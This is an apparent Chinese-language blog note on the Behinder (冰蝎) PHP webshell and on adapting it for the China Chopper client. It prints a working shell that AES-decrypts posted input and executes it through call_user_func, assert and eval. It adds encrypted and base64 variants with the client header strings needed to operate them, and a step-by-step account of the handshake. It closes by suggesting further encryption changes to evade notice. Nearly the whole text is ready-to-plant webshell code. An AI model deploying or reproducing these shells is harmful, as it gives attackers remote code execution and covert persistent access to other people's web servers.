冰蝎二进制菜刀记录

冰蝎PHP马

1
2
3
4
<?php 
session_start();
isset($_GET['pass'])?print $_SESSION['k']=substr(md5(uniqid(rand())),16):($b=explode('|',openssl_decrypt(file_get_contents("php://input"), "AES128", $_SESSION['k'])))&@call_user_func($b[0],$b[1]);
?>

1.首先客户端以Get形式发起带密码的握手请求,服务端产生随机密钥并写入Session。
2.客户端将源代码,如assert|eval(“phpinfo();”)利用AES加密,发送至服务端,服务端收到之后先进行AES解密,得到中间结果字符串assert|eval(“phpinfo();”)。
3.服务端利用explode函数将拆分为一个字符串数据,索引为0的元素为字符串assert,索引为1的元素为字符串eval(“phpinfo();”)。
4.以可变函数方式调用索引为0的数组元素,参数为索引为1的数组元素,即为assert(“eval(\”phpinfo;\”)”)

可根据冰蝎变种菜刀使用一句话
openssl加密

1
2
3
4
5
6
7
8
9
<?php 

if(@$_POST['1']){
$key = "123";
//$dd = @openssl_encrypt('assert|@eval(base64_decode($_POST[z0]));','AES-128-CBC',$key);
$b=explode('|',openssl_decrypt('|gDOrwbzj8a+HsDmUMzfEal8e9fLpIuC/Ph7aTziCkg9Ci06I7Y7Sz4HVpTAHk+gc|', "AES128", $key));
@call_user_func($b[0],$b[1]);
}
?>

修改菜刀header头为 1=1&z0=

base64加密

1
2
3
4
<?php
$arrs = explode("|", base64_decode(@$_POST['1']));
@call_user_func($arrs[0],$arrs[1]);
?>

修改菜刀header头为

1
=|YXNzZXJ0fEBldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUW3owXSkpOw==|&z0=

后续可根据各种加密变换